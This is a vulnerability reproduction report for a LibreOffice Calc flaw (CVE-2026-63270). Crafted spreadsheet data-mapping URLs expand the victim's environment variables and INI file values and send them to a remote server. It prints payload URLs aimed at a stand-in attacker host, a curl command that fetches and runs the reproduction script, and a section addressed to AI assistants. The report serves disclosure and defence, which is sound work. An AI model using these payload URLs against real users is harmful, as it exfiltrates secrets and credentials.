# REPRO-2026-00379: Environment/ini-file leaks — document-supplied URLs expand env and INI values and exfiltrate them to a remote server ## Summary Status: published Severity: medium CVSS: 6.7 / 10 CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (Exposure of Sensitive Information to an Unauthorized Actor) Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00379 CVE: CVE-2026-63270 ## Package Name: libreoffice/core Ecosystem: other Affected: LibreOffice 26.2 series from 26.2 before 26.2.5 Fixed: 26.2.5 ## Root Cause # CVE-2026-63270 — Root Cause Analysis ## Summary LibreOffice Calc's external data-mapping feature (`calcext:data-mappings`, used by the csv/html/xml/sql "Data Provider" sources) accepts attacker-controlled URLs from a document. In LibreOffice 26.2 up to (and excluding) 26.2.5, the csv data provider fetches such a URL at document-load time without verifying that the URL does not use LibreOffice-internal schemes. A crafted spreadsheet can therefore carry a data-mapping URL like `vnd.sun.star.expand:http://attacker.example/?x=${SECRET_ENV_VAR}` (or `${file\:///path/to/ini.ini:Section:Key}`); when the victim opens the document, the `vnd.sun.star.expand` content provider expands the embedded macro against the *victim's* environment variables and INI/config files, and the resulting URL — now carrying the secret values — is fetched from the remote (attacker) server. The check added for CVE-2024-12426 did not cover the Calc data-provider fetch path, so the expansion was still reachable from document content. ## Impact - **Package/component affected**: `sc/source/ui/dataprovider/dataprovider.cxx` (`DataProvider::FetchStreamFromURL`, used by `sc/source/ui/dataprovider/csvdataprovider.cxx`), plus `sc/source/ui/dataprovider/sqldataprovider.cxx`, `sc/source/core/tool/webservicelink.cxx`, and `forms/source/xforms/model.cxx` (XForms instance data), all reached through document-supplied URLs. - **Affected versions**: LibreOffice 26.2 before 26.2.5 (verified on the official TDF builds 26.2.4.2 and 26.2.5.2). - **Risk level / consequences**: CWE-200 exposure of sensitive information (CVSS 4.0 6.7 MEDIUM). Opening a document silently discloses process environment variables (e.g. tokens, paths) and arbitrary INI/TOML/`.env`-style file values to a remote server. No user interaction beyond opening the document; works in headless conversion scenarios too. ## Impact Parity - **Disclosed/claimed maximum impact**: environment-variable and INI-file values expanded into a document-supplied URL and sent to a remote server on document open (info leak / CWE-200). - **Reproduced impact from this run**: full parity — on opening the crafted `.fods`, the vulnerable product (26.2.4.2) expanded `${PRUVA63270_SECRET}` (process environment variable) and `${file\:///…/secret.ini:Secrets:Token}` (INI-file value) and delivered both expanded values to the attacker-controlled HTTP server in two independent fresh processes; the fixed product (26.2.5.2) delivered nothing. - **Parity**: `full`. - **Not demonstrated**: nothing further — the claim is an info leak and both halves (env var and INI value) were exfiltrated end-to-end. ## Root Cause `ScXMLMappingContext` (ODF import, `sc/source/filter/xml/xmlmappingi.cxx`) reads `calcext:data-mapping` entries from the document and, at context destruction (i.e. during document load), calls `sc::ExternalDataSource::refresh()`, which creates the named provider (`org.libreoffice.calc.csv` → `CSVDataProvider`) and calls `DataProvider::FetchStreamFromURL(maURL, …)`. In the vulnerable version that function performs **no scheme validation**: ```cpp std::unique_ptr DataProvider::FetchStreamFromURL(const OUString& rURL, OStringBuffer& rBuffer) { try { // opens ANY url, including vnd.sun.star.expand:... xStream = xFileAccess->openFileRead( rURL ); ``` `openFileRead` goes through UCB, whose `ExpandContentProvider` (`ucb/source/ucp/expand/ucpexpand.cxx`) handles the `vnd.sun.star.expand:` scheme by macro-expanding the remainder of the URL (`util::theMacroExpander` → `rtl_bootstrap_expandMacros_from_handle`). The bootstrap macro language supports: - `${NAME}` → looked up via `Bootstrap_Impl::getAmbienceValue` → `osl_getEnvironment` (process environment variable), - `${ini_file:Section:Key}` → `osl::Profile(ini_file).readString(...)` (arbitrary INI-like file read). The expanded result (e.g. `http://attacker/?token=SECRET-VALUE`) is then opened as a real URL, exfiltrating the value. The fix for CVE-2024-12426 (24.8.4) added "internal scheme" checks only in other code paths; the Calc data providers, the WEBSERVICE-function link, and XForms instance data still fed document-supplied URLs straight to UCB. **Fix commit** (in 26.2.5): `c3355f20dcd5956116819ae4f2f843014407cf4d` — "don't bother loading exotic protocols for document-supplied data" — adds `INetURLObject(sURL).IsExoticProtocol()` refusal checks in `forms/source/xforms/model.cxx` (`Model::loadInstance`), `sc/source/core/tool/webservicelink.cxx`, `sc/source/ui/dataprovider/dataprovider.cxx` (`FetchStreamFromURL`), and `sc/source/ui/dataprovider/sqldataprovider.cxx`. `INetURLObject::IsExoticProtocol()` (tools/source/fsys/urlobj.cxx) classifies `vnd.sun.star.expand` as an exotic/internal scheme. Related hardening in the same release: `49c3c4e59c48` puts data mappings under link-update control, and `a6fb1b10bb1a` restricts providers on document load. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash`). 2. What it does: - Installs missing X/GLib runtime libraries, downloads the official TDF builds `LibreOffice_26.2.4.2` (vulnerable) and `LibreOffice_26.2.5.2` (fixed control) `Linux_x86-64_deb.tar.gz` from `downloadarchive.documentfoundation.org` (checksum-pinned) and unpacks them. - Starts a local HTTP listener (the stand-in for the attacker's remote exfiltration server) on an ephemeral loopback port and health-checks it. - Crafts, per attempt, a flat-ODS spreadsheet containing two `calcext:data-mapping` entries (`org.libreoffice.calc.csv` provider): one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/env?token=${PRUVA63270_SECRET}` and one URL `vnd.sun.star.expand:http://127.0.0.1:PORT/ini?value=${file\:///…/secret.ini:Secrets:Token}`, each referencing a registered `table:database-range` as required by the import code. - Opens the crafted document in the real product with a fresh user profile and a unique per-attempt secret for both the environment variable and the INI file value, in six isolated attempts: two `soffice --headless --convert-to ods` conversions and one direct viewer open (`soffice --headless `) on the vulnerable 26.2.4.2 build, plus the same two conversion attempts and one direct open on the fixed control 26.2.5.2. - Captures the listener's request lines per attempt (finalized per-attempt `exfil-capture.txt`), stops the listener, and writes `bundle/repro/runtime_manifest.json`. 3. Expected evidence: in all three vulnerable attempts (convert and direct open) the listener receives `GET /env?token=` and `GET /ini?value=`; in all three fixed attempts the listener receives nothing for those tokens. ## Evidence - Per-attempt captures: `bundle/repro/proof//exfil-capture.txt` (plus `crafted.fods`, `secret.ini`), run logs `bundle/logs/attempts/.log`, full listener transcript `bundle/logs/server-access.log`, script log `bundle/logs/reproduction_steps.log`. - Key excerpt (every vulnerable attempt, convert and direct open alike): ``` GET /env?token=PRUVA-CVE-2026-63270-vulnerable-1-ENV- HTTP/1.1 GET /ini?value=PRUVA-CVE-2026-63270-vulnerable-1-INI- HTTP/1.1 ``` Fixed attempts: no matching requests at all (empty per-attempt captures). - Identity: vulnerable soffice reports `buildid=0229ac93fcf0d7cbc6376066c6f35021cef002dc` (= tag `libreoffice-26.2.4.2`, CVE-affected); fixed control `buildid=cd7284b4cbbfeb507e630c1aac019f4157393acb` (= tag `libreoffice-26.2.5.2`). - Environment: Ubuntu 26.04 x86_64, product installed from official TDF debs, headless Calc open/convert path (`--convert-to ods`) as the document-open entry point. ## Recommendations / Next Steps - Upgrade to LibreOffice ≥ 26.2.5 (or 26.8.0), where document-supplied URLs with internal schemes (`vnd.sun.star.expand` etc.) are refused by `IsExoticProtocol()` checks at every document-supplied-URL sink, and data mappings refresh only under explicit link-update control. - Defense-in-depth: treat all document-supplied URLs as untrusted input at a single, central validation point (allow-list of external schemes) rather than per-sink checks; consider not resolving macros for any document-origin URL. - Testing: the upstream `sc/qa/unit/data/dataprovider/mappinggate.fods` style documents can be extended with `vnd.sun.star.expand:` mapping URLs to assert they are refused on load in both the csv and sql providers and in XForms instance data. ## Additional Notes - Idempotency: the script is re-runnable; cached tarballs are checksum-verified and reused, per-attempt proof dirs are recreated, and a fresh listener port is chosen each run. It was executed twice consecutively with identical confirming results (all vulnerable attempts leaked both values, all fixed attempts leaked nothing, exit 0 both times). - The XForms instance-data variant (also fixed by `c3355f20dcd5`) was not separately reproduced; the Calc csv data-provider path (`calcext:data-mappings`) is one of the two named document surfaces and fully demonstrates the vulnerability class. - The INI exfiltration requires the `file\:///` (escaped file-URL) macro form because `osl_openProfile` expects a file URL; a plain path silently expands to empty. - Exfiltration target is a loopback listener standing in for the attacker server; the fetch itself is a plain outbound HTTP request, so a real remote host behaves identically. ## Reproduction Details Reproduced: 2026-10-06T05:22:37.687Z Duration: 4023 seconds Tool calls: 246 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00379 pruva-verify CVE-2026-63270 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00379&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00379/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-63270 - Source: https://cveawg.mitre.org/api/cve/CVE-2026-63270 ## Artifacts - bundle/repro/rca_report.md (analysis, 9467 bytes) - bundle/repro/reproduction_steps.sh (reproduction_script, 17941 bytes) - bundle/logs/attempts/fixed-1.log (log, 520 bytes) - bundle/logs/attempts/fixed-2.log (log, 520 bytes) - bundle/logs/attempts/fixed-open-1.log (log, 490 bytes) - bundle/logs/attempts/vulnerable-1.log (log, 550 bytes) - bundle/logs/attempts/vulnerable-2.log (log, 550 bytes) - bundle/logs/attempts/vulnerable-open-1.log (log, 510 bytes) - bundle/logs/server-access.log (log, 1397 bytes) - bundle/repro/proof/fixed-1/crafted.fods (other, 1721 bytes) - bundle/repro/proof/fixed-1/exfil-capture.txt (other, 0 bytes) - bundle/repro/proof/fixed-1/secret.ini (other, 66 bytes) - bundle/repro/proof/fixed-2/crafted.fods (other, 1721 bytes) - bundle/repro/proof/fixed-2/exfil-capture.txt (other, 0 bytes) - bundle/repro/proof/fixed-2/secret.ini (other, 66 bytes) - bundle/repro/proof/fixed-open-1/crafted.fods (other, 1726 bytes) - bundle/repro/proof/fixed-open-1/exfil-capture.txt (other, 0 bytes) - bundle/repro/proof/fixed-open-1/secret.ini (other, 71 bytes) - bundle/repro/proof/vulnerable-1.marker (other, 41 bytes) - bundle/repro/proof/vulnerable-1/crafted.fods (other, 1726 bytes) - bundle/repro/proof/vulnerable-1/exfil-capture.txt (other, 440 bytes) - bundle/repro/proof/vulnerable-1/secret.ini (other, 71 bytes) - bundle/repro/proof/vulnerable-2.marker (other, 41 bytes) - bundle/repro/proof/vulnerable-2/crafted.fods (other, 1726 bytes) - bundle/repro/proof/vulnerable-2/exfil-capture.txt (other, 440 bytes) - bundle/repro/proof/vulnerable-2/secret.ini (other, 71 bytes) - bundle/repro/proof/vulnerable-open-1.marker (other, 46 bytes) - bundle/repro/proof/vulnerable-open-1/crafted.fods (other, 1731 bytes) - bundle/repro/proof/vulnerable-open-1/exfil-capture.txt (other, 460 bytes) - bundle/repro/proof/vulnerable-open-1/secret.ini (other, 76 bytes) - bundle/repro/runtime_manifest.json (other, 4518 bytes) - bundle/repro/validation_verdict.json (other, 1516 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00379 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00379/artifacts/bundle/repro/reproduction_steps.sh - Web: https://www.pruva.dev/reproductions/REPRO-2026-00379 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://www.pruva.dev